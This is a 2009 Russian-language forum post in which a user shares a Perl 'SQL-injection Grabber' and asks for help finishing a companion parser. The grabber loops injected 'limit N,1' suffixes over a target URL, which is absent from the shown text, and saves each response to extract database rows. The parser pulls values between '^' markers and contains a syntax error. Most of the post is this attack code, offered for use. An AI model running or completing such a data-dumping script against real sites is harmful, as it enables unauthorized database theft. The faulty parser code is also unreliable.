SQL-injection Grabber(perl-самописный)

Тема в разделе "NewsGrabber", создана пользователем hors_de_prix, 10 май 2009.

Статус темы:
Закрыта.
  1. hors_de_prix

    hors_de_prix Писатель

    Регистр.:
    27 апр 2009
    Сообщения:
    1
    Симпатии:
    0
    Здравствуйте !
    Я не давно нашел отличный sql grabber,на pl .
    вот смотрите :

    #!/usr/bin/perl
    print "===================================\n";
    print "=SQL-injection Grabber =\n";
    print "===================================\n";


    use LWP::Simple qw(get);
    open(F, '>C:\Perl\result.txt');
    $z=0;
    for ($i=1;$i<=58;$i++){
    open(C, '>count.txt');
    $url='+limit+'.($i).',1/*';
    $cont=get($url);
    print F $cont."\n";
    $z=$z+1;
    print C $z;
    close C;
    }
    close F;
    print "===================================\n";
    print "= DONE =\n";
    print "===================================\n";
    print $z;



    Но вот в чем проблема



    У него есть в приложении не дописаный парсер (кто небудь сможет помочь дописать )




    Пачер :

    #!/usr/bin/perl
    print "===================================\n";
    print "=SQL-injection Parser =\n";
    print "===================================\n";

    open(TT, 'C:\Perl\result.txt');
    open(F, '>C:\Perl\result2.txt');
    while ($line = <TT>)
    {


    $x=index($line, "^");
    $z=rindex($line, "^" );
    if($x>-1 && $z>-1){
    $long=$z-$x;
    $res=substr($line, ($x+1), ($long-1)
    print F $res. "\n";
    $x=-1;
    $z=-1;

    }

    }
    print "===================================\n";
    print "= DONE =\n";
    print "===================================\n";
    close TT;
    close F;
     
Статус темы:
Закрыта.